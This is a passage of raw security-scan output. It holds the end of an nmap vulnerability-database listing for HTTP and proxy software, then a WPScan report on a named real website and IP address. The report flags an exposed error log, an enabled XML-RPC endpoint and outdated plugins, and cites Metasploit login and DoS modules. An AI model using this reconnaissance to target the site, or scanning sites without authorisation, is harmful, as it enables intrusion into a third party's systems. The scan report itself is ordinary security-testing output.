  3857. | [CVE-2003-1580] The Apache HTTP Server 2.0.44, when DNS resolution is enabled for client IP addresses, uses a logging format that does not identify whether a dotted quad represents an unresolved IP address, which allows remote attackers to spoof IP addresses via crafted DNS responses containing numerical top-level domains, as demonstrated by a forged 123.123.123.123 domain name, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
  3858. | [CVE-2002-2012] Unknown vulnerability in Apache 1.3.19 running on HP Secure OS for Linux 1.0 allows remote attackers to cause "unexpected results" via an HTTP request.
  3859. | [CVE-2002-0177] Buffer overflows in icecast 1.3.11 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request from an MP3 client.
  3860. | [CVE-2001-1083] Icecast 1.3.7, and other versions before 1.3.11 with HTTP server file streaming support enabled allows remote attackers to cause a denial of service (crash) via a URL that ends in . (dot), / (forward slash), or \ (backward slash).
  3861. | [CVE-2001-0925] The default installation of Apache before 1.3.19 allows remote attackers to list directories instead of the multiview index.html file via an HTTP request for a path that contains many / (slash) characters, which causes the path to be mishandled by (1) mod_negotiation, (2) mod_dir, or (3) mod_autoindex.
  3862. | [CVE-2001-0129] Buffer overflow in Tinyproxy HTTP proxy 1.3.3 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long connect request.
  3863. | [CVE-2000-1206] Vulnerability in Apache httpd before 1.3.11, when configured for mass virtual hosting using mod_rewrite, or mod_vhost_alias in Apache 1.3.9, allows remote attackers to retrieve arbitrary files.
  3864. | [CVE-2000-0869] The default configuration of Apache 1.3.12 in SuSE Linux 6.4 enables WebDAV, which allows remote attackers to list arbitrary diretories via the PROPFIND HTTP request method.
  3865. |
  3866. | SecurityFocus - https://www.securityfocus.com/bid/:
  3867. | [37966] Apache 1.3 mod_proxy HTTP Chunked Encoding Integer Overflow Vulnerability
  3868. | [27237] Apache HTTP Server 2.2.6, 2.0.61 and 1.3.39 'mod_status' Cross-Site Scripting Vulnerability
  3869. |
  3870. | IBM X-Force - https://exchange.xforce.ibmcloud.com:
  3871. | [28893] Microsoft Internet Explorer HTTP 1.1 compression long URL buffer overflow variant
  3872. | [28522] Microsoft Internet Explorer HTTP 1.1 compression long URL buffer overflow
  3873. | [10107] Trend Micro InterScan VirusWall HTTP 1.0 gzip content encoding protection bypass
  3874. | [10106] Trend Micro InterScan VirusWall HTTP 1.1 chunked transfer encoding protection bypass
  3875. | [85605] Stage File Proxy module for Drupal repeated HTTP request denial of service
  3876. | [85020] HAProxy denial of service
  3877. | [83211] HAProxy tcp-request content denial of service
  3878. | [77913] Apache HTTP Server mod_proxy_ajp information disclosure
  3879. | [76095] SEIL routers HTTP-Proxy/Gateway security bypass
  3880. | [75777] HAProxy trash buffer overflow
  3881. | [71617] Apache HTTP Server mod_proxy module information disclosure
  3882. | [71445] Apache HTTP Server mod_proxy security bypass
  3883. | [70336] Apache HTTP Server mod_proxy information disclosure
  3884. | [69804] Apache HTTP Server mod_proxy_ajp denial of service
  3885. | [66665] HAProxy manage_server_side_cookies() denial of service
  3886. | [66640] Apache HttpComponents HttpClient Proxy-Authorization information disclosure
  3887. | [63651] Google Chrome HTTP proxy authentication denial of service
  3888. | [60883] Apache mod_proxy_http information disclosure
  3889. | [59413] Apache mod_proxy_http timeout information disclosure
  3890. | [56623] Apache HTTP Server mod_proxy_ajp denial of service
  3891. | [53453] Cisco IOS Authentication Proxy for HTTP security bypass
  3892. | [53124] mod_proxy_ftp module for Apache HTTP header security bypass
  3893. | [52604] HTTP request forwarding (Web Proxy) detected
  3894. | [51532] mod_proxy module for the Apache HTTP Server stream_reqbody_cl denial of service
  3895. | [47305] Live Chat component for Joomla! xmlhttp.php open proxy
  3896. | [44467] HTTP Anti Virus Proxy (HAVP) sockethandler.cpp denial of service
  3897. | [44223] Apache HTTP Server mod_proxy_ftp cross-site scripting
  3898. | [42987] Apache HTTP Server mod_proxy module denial of service
  3899. | [40694] BEA WebLogic Server and WebLogic Express HttpClusterServlet and HttpProxyServlet privilege escalation
  3900. | [39615] Apache HTTP Server mod_proxy_ftp.c UTF-7 cross-site scripting
  3901. | [39612] Apache HTTP Server mod_proxy_balancer buffer overflow
  3902. | [39474] Apache HTTP Server mod_proxy_balancer cross-site scripting
  3903. | [37405] DeleGate HTTP cache proxy denial of service
  3904. | [36354] Apache HTTP Server mod_proxy module denial of service
  3905. | [36352] Apache HTTP Server ap_proxy_date_canon() denial of service
  3906. | [34884] Astaro Secure Gateway HTTP proxy denial of service
  3907. | [34282] BEA WebLogic Server and WebLogic Express HttpProxyServlet and HttpClusterServlet unauthorized access
  3908. | [26970] WinGate HTTP proxy buffer overflow
  3909. | [26370] Symantec Enterprise Firewall HTTP proxy internal IP disclosure
  3910. | [23997] Blue Coat WinProxy SecureSuite HTTP request denial of service
  3911. | [23451] Microsoft Internet Explorer HTTPS proxy authentication information disclosure
  3912. | [22016] Simpleproxy HTTP Proxy reply format string
  3913. | [20391] Apple Mac OS X HTTP proxy service security bypass
  3914. | [20339] Squid Web Proxy Cache HTTP header cache poisoning
  3915. | [20334] Squid Web Proxy Cache httpProcessReplyHeader security bypass
  3916. | [19868] HTTP Anti Virus Proxy cab and zip files bypass filtering
  3917. | [19060] Squid Web Proxy Cache HTTP header cache poisoning
  3918. | [18308] Jana Server http-server and pna-proxy denial of service
  3919. | [16751] AnomicHTTPProxy &quot
  3920. | [16750] AnomicHTTPProxy allows elevated privileges
  3921. | [16749] AnomicHTTPProxy administration interface denial of service
  3922. | [16387] Apache HTTP Server mod_proxy Content-Length buffer overflow
  3923. | [15952] proxy server using the HTTP CONNECT directive has been detected
  3924. | [15277] Proxy-Pro GateKeeper Pro long HTTP GET buffer overflow
  3925. | [15275] PSOProxy long HTTP GET request buffer overflow
  3926. | [14955] ProxyNow! HTTP GET stack based buffer overflow or heap-based buffer overflow
  3927. | [14947] Gaim HTTP proxy buffer overflow
  3928. | [12681] Apache HTTP Server mod_proxy could allow mail relaying
  3929. | [12552] Apache HTTP Server FTP proxy server denial of service
  3930. | [11143] Astaro Security Linux HTTP Proxy can be used to make unauthorized TCP connections
  3931. | [10139] Check Point FireWall-1 HTTP proxy could allow HTTPS and FTP traffic to bypass the firewall
  3932. | [9914] Jigsaw HTTP Proxy server cross-site scripting
  3933. | [9834] CERN HTTPD proxy server cross-site scripting
  3934. | [9683] Jana Server HTTP GET proxy buffer overflow
  3935. | [9579] Symantec Norton Personal Firewall and Norton Internet Security HTTP proxy buffer overflow
  3936. | [9455] AnalogX Proxy malformed HTTP request buffer overflow
  3937. | [8425] Trend Micro InterScan VirusWall could allow virus infected Web pages to bypass the HTTP proxy filtering
  3938. | [7964] BlackJumboDog HTTP proxy buffer overflow
  3939. | [7916] Avirt SOHO, Gateway, and Gateway Suite HTTP proxy buffer overflow
  3940. | [4460] CProxy proxy server HTTP port denial of service
  3941. | [153] HTTP proxy penetrated
  3942. | [60] HTTP proxy detected
  3943. |
  3944. | Exploit-DB - https://www.exploit-db.com:
  3945. | [21978] Linksys WAP11 1.3/1.4,D-Link DI-804 4.68/Dl-704 2.56 b5 Embedded HTTP Server DoS Vulnerability
  3946. | [20595] NCSA 1.3/1.4.x/1.5,Apache httpd 0.8.11/0.8.14 ScriptAlias Source Retrieval Vulnerability
  3947. | [5215] Ruby 1.8.6 (Webrick Httpd 1.3.1) Directory Traversal Vulnerability
  3948. | [30229] SHTTPD 1.38 Filename Parse Error Information Disclosure Vulnerability
  3949. | [26156] CPaint 1.3 xmlhttp Request Input Validation Vulnerability
  3950. | [25775] Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow
  3951. | [24402] Axis Network Camera 2.x And Video Server 1-3 HTTP Authentication Bypass
  3952. | [23676] MaxWebPortal 1.3x down.asp HTTP_REFERER XSS
  3953. | [21955] AN HTTPD 1.38/1.39/1.40/1.41 Malformed SOCKS4 Request Buffer Overflow Vulnerability
  3954. | [21145] IBM HTTP Server 1.3.x Source Code Disclosure Vulnerability
  3955. | [20559] tinyproxy tinyproxy 1.3.2/1.3.3 Heap Overflow Vulnerability
  3956. | [20531] IBM HTTP Server 1.3 AfpaCache/WebSphereNet.Data DoS Vulnerability
  3957. | [16759] SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)
  3958. | [16199] Icy Phoenix 1.3.0.53a HTTP Referer stored XSS
  3959. | [4700] simple httpd <= 1.38 Multiple Vulnerabilities
  3960. | [2482] SHTTPD 1.34 (POST) Remote Buffer Overflow Exploit
  3961. | [1174] ZipTorrent <= 1.3.7.3 - Local Proxy Password Disclosure Exploit
  3962. |
  3963. | OpenVAS (Nessus) - http://www.openvas.org:
  3964. | [66806] Debian Security Advisory DSA 1987-1 (lighttpd)
  3965. | [66557] Fedora Core 12 FEDORA-2009-12606 (httpd)
  3966. | [66498] Fedora Core 10 FEDORA-2009-12604 (httpd)
  3967. | [64741] Fedora Core 11 FEDORA-2009-8812 (httpd)
  3968. | [61364] Debian Security Advisory DSA 1540-3 (lighttpd)
  3969. | [61357] Debian Security Advisory DSA 1609-1 (lighttpd)
  3970. | [60793] Debian Security Advisory DSA 1540-2 (lighttpd)
  3971. | [60786] Debian Security Advisory DSA 1540-1 (lighttpd)
  3972. | [60573] Debian Security Advisory DSA 1521-1 (lighttpd)
  3973. | [60499] Debian Security Advisory DSA 1513-1 (lighttpd)
  3974. | [58644] Debian Security Advisory DSA 1362-2 (lighttpd)
  3975. | [58581] Debian Security Advisory DSA 1362-1 (lighttpd)
  3976. | [57684] Debian Security Advisory DSA 1205-2 (thttpd)
  3977. | [53726] Debian Security Advisory DSA 145-1 (tinyproxy)
  3978. | [11129] HTTP 1.1 header overflow
  3979. | [11127] HTTP 1.0 header overflow
  3980. | [902825] at32 Reverse Proxy Multiple HTTP Header Fields Denial Of Service Vulnerability
  3981. | [900325] Qbik WinGate HTTP Proxy Server Access Controls Bypass Vulnerability
  3982. | [900222] IBM HTTP Server mod_proxy Interim Responses DoS Vulnerability
  3983. | [864812] Fedora Update for haproxy FEDORA-2012-16033
  3984. | [864801] Fedora Update for haproxy FEDORA-2012-16056
  3985. | [800827] Apache 'mod_proxy_http.c' Denial Of Service Vulnerability
  3986. | [103293] Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability
  3987. | [100858] Apache 'mod_proxy_http' 2.2.9 for Unix Timeout Handling Information Disclosure Vulnerability
  3988. | [100083] HTTP Proxy Server Detection
  3989. | [71366] FreeBSD Ports: haproxy
  3990. | [11715] Header overflow against HTTP proxy
  3991. |
  3992. | SecurityTracker - https://www.securitytracker.com:
  3993. | [1016731] Microsoft Internet Explorer URL Buffer Overflow in Processing HTTP 1.1 Protocol with Compression Lets Remote Users Execute Arbitrary Code
  3994. | [1015870] Cisco 11500 Content Services Switch HTTP Compression Bug Lets Remote Users Deny Service
  3995. | [1028638] RSA Authentication Manager Writes Operating System, SNMP, and HTTP Plug-in Proxy Passwords in Clear Text to Log Files
  3996. | [1027165] Squid XMLHttpRequest Allows Remote Users to Obtain the Target User's Proxy Username and Password
  3997. | [1026054] Apache mod_proxy_ajp HTTP Processing Error Lets Remote Users Deny Service
  3998. | [1024096] Apache mod_proxy_http May Return Results for a Different Request
  3999. | [1020900] HTTP Anti Virus Proxy Bug in 'sockethandler.cpp' Lets Remote Users Deny Service
  4000. | [1017586] Blue Coat WinProxy Heap Overflow in Processing HTTP CONNECT Requests May Let Remote Users Execute Arbitrary Code
  4001. | [1017324] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
  4002. | [1016239] WinGate Buffer Overflow in HTTP Proxy Lets Remote Users Execute Arbitrary Code
  4003. | [1016058] Symantec Gateway Security HTTP Proxy May Disclose Internal NAT Addresses
  4004. | [1016057] Symantec Enterprise Firewall HTTP Proxy May Disclose Internal NAT Addresses
  4005. | [1014359] DeleGate Proxy Lets Remote Users Conduct HTTP Request Smuggling Attacks
  4006. | [1014358] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
  4007. | [1013370] HTTP Anti Virus Proxy May Not Detect Viruses in Certain Archives
  4008. | [1012365] JanaServer 2 http-server and pna-proxy Flaws Let Remote Users Deny Service
  4009. | [1007712] Nokia Electronic Documentation Default Configuration Permits Remote HTTP Proxy Services
  4010. | [1007146] Apache HTTP Server FTP Proxy Bug May Cause Denial of Service Conditions
  4011. | [1006833] EServ Can Be Used as HTTP and FTP Proxy Even When Not Configured as a Proxy
  4012. | [1005253] Check Point FireWall-1 HTTP Proxy Default Configuration May Allow HTTPS and FTP Traffic to Pass Through the Proxy
  4013. | [1005026] CERN HTTP Proxy Server Input Validation Hole Lets Remote Users Conduct Cross-site Scripting Attacks
  4014. | [1004780] Norton Personal Firewall Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
  4015. | [1004779] Norton Internet Security Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
  4016. | [1003875] HP Webproxy for HP-UX VVOS Operating System May Forward Certain HTTP Requests to the Internal Network Without Fully Processing the Packet Against the Rule Set
  4017. | [1003600] Check Point FireWall-1 HTTP Proxy Bug Lets Remote Users Bypass Some Access Controls and Connect to Arbitrary Ports on Internal/Protected Hosts
  4018. |
  4019. | OSVDB - http://www.osvdb.org:
  4020. | [91975] HAProxy HTTP Content Inspection Mechanism HTTP Request Handling Remote Overflow DoS
  4021. | [84399] Huawei AR 18 / 29 Routers HTTP Server Pre-auth Multiple URL Handling Remote Overflow
  4022. | [82774] HAProxy http_auth_group() Function User Parsing Weakness
  4023. | [82768] HAProxy Secure / HttpOnly Flag Cookie Weakness
  4024. | [79018] Links HTTP 100 Response Handling DoS
  4025. | [74826] Pidgin libpurple MSN Protocol Plugin httpconn.c msn_httpconn_parse_data Function HTTP 100 Response Remote DoS
  4026. | [74346] HAProxy src/proto_http.c manage_server_side_cookies() Function HTTP Set-Cookie Header Remote DoS
  4027. | [64275] NIBE RCU 11 Heat Pump HTTP Request Arbitrary Administrative Account Creation
  4028. | [28132] Microsoft IE HTTP 1.1 URL Parsing Overflow
  4029. | [24433] Cisco 11500 Content Services Switch HTTP Compression DoS
  4030. | [8854] Cisco CSS 11000 Web Interface HTTPS POST DoS
  4031. | [94328] HAProxy Header Field Handling Remote DoS
  4032. | [93048] IBM Sterling Secure Proxy HTTP Header Web Server Version Disclosure
  4033. | [91613] Zend Framework Multiple Class HTTP Header Proxy Information Handling Spoofing Weakness
  4034. | [90557] Apache HTTP Server mod_proxy_balancer balancer-manager Interface Multiple Parameter XSS
  4035. | [90422] Mozilla Multiple Product Proxy 407 Response HTTPS Address Spoofing
  4036. | [89275] Apache HTTP Server mod_proxy_ajp Module Expensive Request Parsing Remote DoS
  4037. | [88581] Squid Web Proxy HTTP Accelerator Mode Proxied Port Scan Weakness
  4038. | [88287] Squid Crafted XMLHttpRequest Remote Proxy-Authorization Cleartext Credential Disclosure
  4039. | [88016] BlackJumboDog HTTP Proxy Multiple String Parsing Remote Overflow
  4040. | [87958] IBM WebSphere Message Broker ProxyServlet / MQ HTTP Connection Cleartext Credential Disclosure
  4041. | [87457] Tor Directory Connection HttpProxyAuthenticator Remote Fingerprinting Weakness
  4042. | [85838] 602Pro LAN SUITE HTTP Proxy-Authorization Header Handling Remote Overflow DoS
  4043. | [85090] Apache HTTP Server mod_proxy_ajp.c mod_proxy_ajp Module Proxy Functionality Cross-client Information Disclosure
  4044. | [85089] Apache HTTP Server mod_proxy_http.c mod_proxy_http Module Cross-client Information Disclosure
  4045. | [82773] HAProxy buffer_ignore Function Unspecified Issue
  4046. | [82772] HAProxy Crafted Response Cookie Handling Remote DoS
  4047. | [82771] HAProxy Invalid Response Handling Remote DoS
  4048. | [82770] HAProxy appsession Cookie Matching Weakness
  4049. | [82769] HAProxy Session Freeing Unspecified DoS
  4050. | [82767] HAProxy poll/epoll Unspecified Memory Corruption DoS
  4051. | [82766] HAProxy send_syslog() Function Overflow Local DoS
  4052. | [82651] SEIL Routers HTTP-Proxy/Gateway HTTP Request Parsing URL Filter Bypass
  4053. | [82092] HAProxy Boundary Error Trash Buffer Data Copying Remote Overflow
  4054. | [81164] Squid Proxy HTTP Header Host Field Parsing URL Filter Bypass
  4055. | [78987] CVS src/client.c proxy_connect() Function HTTP Version Response Parsing Remote Overflow
  4056. | [78774] Mozilla Multiple Products IPv6 Proxy Generated XMLHttpRequest Object Handling Remote Information Disclosure
  4057. | [78667] Oracle Java SE / Java for Business java:classes_net HttpsUrlConnection Authenticated Proxy Tunnel Handling Overflow
  4058. | [77444] Apache HTTP Server mod_proxy Mdule Web Request HTTP/0.9 Protocol URL Parsing Proxy Remote Security Bypass
  4059. | [77310] Apache HTTP Server mod_proxy Reverse Proxy Mode Security Bypass Weakness (2011-4317)
  4060. | [76079] Apache HTTP Server mod_proxy Mdule Web Request URL Parsing Proxy Remote Security Bypass (2011-3368)
  4061. | [75647] Apache HTTP Server mod_proxy_ajp Module mod_proxy_balancer HTTP Request Remote DoS
  4062. | [73624] PHP Streams Component HTTP Proxy FTP Wrapper ftp:// URL DoS
  4063. | [73354] IBM WebSphere Application Server (WAS) HTTP Transport SIP Proxy UDP Message Saturation Remote DoS
  4064. | [71647] Apache HttpComponents HttpClient Proxy-Authorization Credentials Remote Disclosure
  4065. | [69667] Google Chrome HTTP Proxy Authentication Required Response Handling DoS
  4066. | [68162] OmniVista 4760 HTTP Proxy Crafted HTTP Request Remote Overflow
  4067. | [67270] Blue Coat ProxySG HTTPS Privilege Enforcement Bypass
  4068. | [65654] Apache HTTP Server mod_proxy_http mod_proxy_http.c Timeout Detection Weakness HTTP Request Response Disclosure
  4069. | [62676] Apache HTTP Server mod_proxy_ajp Module Crafted Request Remote DoS
  4070. | [62009] Apache HTTP Server src/modules/proxy/proxy_util.c mod_proxy ap_proxy_send_fb() Function Overflow
  4071. | [60010] HP Praesidium Webproxy Crafted HTTP Request Forwarding Weakness
  4072. | [59022] Apache Shindig ConcatProxyServlet HTTP Header Response Splitting
  4073. | [57882] Apache HTTP Server mod_proxy_ftp Authorization HTTP Header Arbitrary FTP Command Injection
  4074. | [57851] Apache HTTP Server mod_proxy_ftp EPSV Command NULL Dereference Remote DoS
  4075. | [56712] Live Chat Component for Joomla! xmlhttp.php Open HTTP Proxy
  4076. | [56489] Microsoft IE Proxy Server CONNECT Response Cached Certificate Use MiTM HTTPS Site Spoofing
  4077. | [56488] Google Chrome Proxy Server CONNECT Response Cached Certificate Use MiTM HTTPS Site Spoofing
  4078. | [56487] Opera Proxy Server CONNECT Response Cached Certificate Use MiTM HTTPS Site Spoofing
  4079. | [55553] Apache HTTP Server mod_proxy Module mod_proxy_http.c stream_reqbody_cl Function CPU Consumption DoS
  4080. | [55133] Mozilla Firefox HTTP Host Header Proxy Server CONNECT Response Document Context SSL Tampering Weakness
  4081. | [55132] Google Chrome src/net/http/http_transaction_winhttp.cc HTTP Host Header Proxy Server CONNECT Response Document Context SSL Tampering Weakness
  4082. | [55129] Microsoft IE HTTP Host Header Proxy Server CONNECT Response Document Context SSL Tampering Weakness
  4083. | [53921] Apache HTTP Server mod_proxy_ajp Cross Thread/Session Information Disclosure
  4084. | [52413] Blue Coat ProxySG Transparent Interception Mode HTTP Host Header Dependancy Media Access Control Bypass
  4085. | [52412] Ziproxy Transparent Interception Mode HTTP Host Header Dependancy Media Access Control Bypass
  4086. | [48528] CCProxy HTTP Proxy CONNECT Request Handling Remote Overflow
  4087. | [47512] HTTP Anti Virus Proxy (HAVP) Infinite Loop Connection Saturation DoS
  4088. | [47474] Apache HTTP Server mod_proxy_ftp Directory Component Wildcard Character XSS
  4089. | [46085] Apache HTTP Server mod_proxy ap_proxy_http_process_response() Function Interim Response Forwarding Remote DoS
  4090. | [44135] Nortel VPN Gateway Malformed HTTP Request SSL Proxy Remote DoS
  4091. | [44132] Nortel iSD-SSL Malformed HTTP Request SSL Proxy Remote DoS
  4092. | [43259] Apache HTTP Server on Windows mod_proxy_balancer URL Handling Remote Memory Corruption
  4093. | [42937] Apache HTTP Server mod_proxy_balancer balancer-manager Unspecified CSRF
  4094. | [42214] Apache HTTP Server mod_proxy_ftp UTF-7 Encoded XSS
  4095. | [42122] Kerio WinRoute Firewall Proxy Server Unspecified HTTP Fallback
  4096. | [41862] DeleGate HTTP Cache Proxy Unspecified DoS
  4097. | [40264] Apache HTTP Server mod_proxy_balancer balancer_handler Function bb Variable Remote DoS
  4098. | [40263] Apache HTTP Server mod_proxy_balancer balancer-manager Multiple Parameter XSS
  4099. | [39291] ELinks https Proxy CONNECT Request Cleartext Information Disclosure
  4100. | [37345] Astaro Security Gateway (ASG) HTTP Proxy Unspecified DoS
  4101. | [37051] Apache HTTP Server mod_proxy modules/proxy/proxy_util.c Crafted Header Remote DoS
  4102. | [36980] 3Proxy HTTP Redirection Unspecified DoS
  4103. | [36074] BEA WebLogic HttpClusterServlet / HttpProxyServlet SecureProxy Admin Functionality Access
  4104. | [35237] 3Proxy HTTP Proxy Crafted Transparent Request Remote Overflow
  4105. | [33097] Blue Coat WinProxy HTTP CONNECT Request Overflow
  4106. | [26300] Mozilla Multiple Products via Proxy Server HTTP Response Smuggling
  4107. | [26008] PHPGallue Proxy Cache HTTP Header Information Disclosure
  4108. | [25565] phpBB usercp_avatar.php Arbitrary HTTP Proxy
  4109. | [22876] HTTP Anti Virus Proxy Multiple AV Scanner Failure
  4110. | [22853] Blue Coat ProxySG SGOS HTTP Proxy Arbitrary Port Connection
  4111. | [22237] Blue Coat WinProxy HTTP Request Overflow DoS
  4112. | [21762] Microsoft IE HTTPS Proxy Basic Authentication URL Cleartext Transmission
  4113. | [19008] Simpleproxy HTTP Proxy Reply Remote Format String
  4114. | [18284] Netquery HTTP GET Request Panel Unauthorized Proxy
  4115. | [16388] Mozilla with Proxy HTTP Header Arbitrary Cookie Disclosure
  4116. | [16082] Apple Mac OS X Server HTTP Proxy Unrestricted Access
  4117. | [16014] IBM Web Traffic Express Caching Proxy Server HTTP GET Request XSS
  4118. | [14573] HTTP Anti Virus Proxy Archive Scanning Failure
  4119. | [14270] Sun Java JRE HTTP Proxy Java Applet Session Hijack
  4120. | [14155] BitlBee HTTP Proxy Support Unspecified Security Issue
  4121. | [12558] Apache HTTP Server IPv6 FTP Proxy Socket Failure DoS
  4122. | [11593] CCProxy Logging Component HTTP GET Request Remote Overflow
  4123. | [9742] Apache HTTP Server mod_ssl char_buffer_read Function Reverse Proxy DoS
  4124. | [9688] Apache HTTP Server mod_proxy Malformed FTP Command DoS
  4125. | [7929] Apache HTTP Server mod_ssl ssl_engine_log.c mod_proxy Hook Function Remote Format String
  4126. | [7714] AnomicHTTPProxy Invalid HTTP Command Proxy Localhost Block
  4127. | [7713] AnomicHTTPProxy Administration Password Dementia
  4128. | [7709] AnomicHTTPProxy Double Dot Arbitrary File Access
  4129. | [6839] Apache HTTP Server mod_proxy Content-Length Overflow
  4130. | [6804] Avirt Gateway/Gateway Suite/SOHO HTTP Proxy Overflow
  4131. | [6187] Trend Micro InterScan VirusWall HTTP CONNECT Proxying
  4132. | [6162] Trend Micro InterScan VirusWall HTTP Proxy Content Scanning Circumvention
  4133. | [4433] Check Point FireWall-1 HTTP Proxy Traffic Bypass
  4134. | [4366] Symantec Personal Firewalls HTTP Proxy Remote Overflow
  4135. | [4028] PSOProxy Long HTTP Request Overflow
  4136. | [4015] Jigsaw HTTP Proxy Error Page XSS
  4137. | [3732] Gaim HTTP Proxy Connect Overflow
  4138. | [3723] ProxyNow! HTTP Request Overflow
  4139. | [3718] Finjan SurfinGate Proxy FHTTP Command Admin Functions Authentication Bypass
  4140. | [2764] Plug and Play Web Server Proxy Service HTTP Request Handling DoS
  4141. | [1789] Microsoft ISA Server Web Proxy Malformed HTTP Request Parsing Remote DoS
  4142. | [1429] SapporoWorks WinProxy Malformed HTTP GET Request DoS
  4143. | [1336] CProxy SP2 Long HTTP Request DoS
  4144. | [787] Compaq Web-enabled Management Software HTTP Server Arbitrary Traffic Proxy
  4145. |_
  4146. 443/tcp open ssl/https openresty
  4147. |_http-server-header: openresty
  4148. Service Info: Device: load balancer
  4149. ######################################################################################################################################
  4150. [+] URL: http://momason.org/ [45.40.155.175]
  4151. [+] Started: Fri Apr 24 15:46:14 2020
  4152.  
  4153. Interesting Finding(s):
  4154.  
  4155. [+] Headers
  4156. | Interesting Entries:
  4157. | - X-Cacheable: YES:Forced
  4158. | - X-Cache-Hit: HIT
  4159. | - X-Backend: all_requests
  4160. | Found By: Headers (Passive Detection)
  4161. | Confidence: 100%
  4162.  
  4163. [+] http://momason.org/robots.txt
  4164. | Found By: Robots Txt (Aggressive Detection)
  4165. | Confidence: 100%
  4166.  
  4167. [+] XML-RPC seems to be enabled: http://momason.org/xmlrpc.php
  4168. | Found By: Link Tag (Passive Detection)
  4169. | Confidence: 100%
  4170. | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
  4171. | References:
  4172. | - http://codex.wordpress.org/XML-RPC_Pingback_API
  4173. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  4174. | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  4175. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  4176. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
  4177.  
  4178. [+] http://momason.org/readme.html
  4179. | Found By: Direct Access (Aggressive Detection)
  4180. | Confidence: 100%
  4181.  
  4182. [+] This site has 'Must Use Plugins': http://momason.org/wp-content/mu-plugins/
  4183. | Found By: Direct Access (Aggressive Detection)
  4184. | Confidence: 80%
  4185. | Reference: http://codex.wordpress.org/Must_Use_Plugins
  4186.  
  4187. [+] The external WP-Cron seems to be enabled: http://momason.org/wp-cron.php
  4188. | Found By: Direct Access (Aggressive Detection)
  4189. | Confidence: 60%
  4190. | References:
  4191. | - https://www.iplocation.net/defend-wordpress-from-ddos
  4192. | - https://github.com/wpscanteam/wpscan/issues/1299
  4193.  
  4194. [+] WordPress version 5.4 identified (Latest, released on 2020-03-31).
  4195. | Found By: Rss Generator (Passive Detection)
  4196. | - http://momason.org/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4197. | - http://momason.org/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4198. | - http://momason.org/home/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4199.  
  4200. [+] WordPress theme in use: molodge
  4201. | Location: http://momason.org/wp-content/themes/molodge/
  4202. | [!] An error log file has been found: http://momason.org/wp-content/themes/molodge/error_log
  4203. | Style URL: http://momason.org/wp-content/themes/molodge/style.css?ver=2013-07-18
  4204. | Style Name: PresenceBuilders Theme2
  4205. | Style URI: http://presencebuilders.com
  4206. | Description: 2014 Single Page Theme for PresenceBuilders...
  4207. | Author: Online Presence Builders
  4208. | Author URI: http://presencebuilders.com
  4209. |
  4210. | Found By: Css Style In Homepage (Passive Detection)
  4211. | Confirmed By: Css Style In 404 Page (Passive Detection)
  4212. |
  4213. | The version could not be determined.
  4214.  
  4215. [+] Enumerating All Plugins (via Passive Methods)
  4216. [+] Checking Plugin Versions (via Passive and Aggressive Methods)
  4217.  
  4218. [i] Plugin(s) Identified:
  4219.  
  4220. [+] contact-form-7
  4221. | Location: http://momason.org/wp-content/plugins/contact-form-7/
  4222. | Last Updated: 2020-03-07T10:12:00.000Z
  4223. | [!] The version is out of date, the latest version is 5.1.7
  4224. |
  4225. | Found By: Urls In Homepage (Passive Detection)
  4226. | Confirmed By: Urls In 404 Page (Passive Detection)
  4227. |
  4228. | Version: 5.0.4 (100% confidence)
  4229. | Found By: Query Parameter (Passive Detection)
  4230. | - http://momason.org/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.4
  4231. | - http://momason.org/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.4
  4232. | Confirmed By:
  4233. | Readme - Stable Tag (Aggressive Detection)
  4234. | - http://momason.org/wp-content/plugins/contact-form-7/readme.txt
  4235. | Readme - ChangeLog Section (Aggressive Detection)
  4236. | - http://momason.org/wp-content/plugins/contact-form-7/readme.txt
  4237.  
  4238. [+] custom-facebook-feed
  4239. | Location: http://momason.org/wp-content/plugins/custom-facebook-feed/
  4240. | Last Updated: 2020-04-22T17:07:00.000Z
  4241. | [!] The version is out of date, the latest version is 2.14
  4242. |
  4243. | Found By: Urls In Homepage (Passive Detection)
  4244. | Confirmed By:
  4245. | Urls In 404 Page (Passive Detection)
  4246. | Comment (Passive Detection)
  4247. |
  4248. | Version: 2.7.2 (100% confidence)
  4249. | Found By: Query Parameter (Passive Detection)
  4250. | - http://momason.org/wp-content/plugins/custom-facebook-feed/css/cff-style.css?ver=2.7.2
  4251. | - http://momason.org/wp-content/plugins/custom-facebook-feed/js/cff-scripts.js?ver=2.7.2
  4252. | Confirmed By:
  4253. | Readme - Stable Tag (Aggressive Detection)
  4254. | - http://momason.org/wp-content/plugins/custom-facebook-feed/README.txt
  4255. | Readme - ChangeLog Section (Aggressive Detection)
  4256. | - http://momason.org/wp-content/plugins/custom-facebook-feed/README.txt
  4257.  
  4258. [+] ml-slider
  4259. | Location: http://momason.org/wp-content/plugins/ml-slider/
  4260. | Last Updated: 2020-04-16T10:28:00.000Z
  4261. | [!] The version is out of date, the latest version is 3.16.4
  4262. |
  4263. | Found By: Urls In Homepage (Passive Detection)
  4264. |
  4265. | Version: 3.9.1 (80% confidence)
  4266. | Found By: Readme - Stable Tag (Aggressive Detection)
  4267. | - http://momason.org/wp-content/plugins/ml-slider/readme.txt
  4268.  
  4269. [+] responsive-menu-pro
  4270. | Location: http://momason.org/wp-content/plugins/responsive-menu-pro/
  4271. |
  4272. | Found By: Urls In Homepage (Passive Detection)
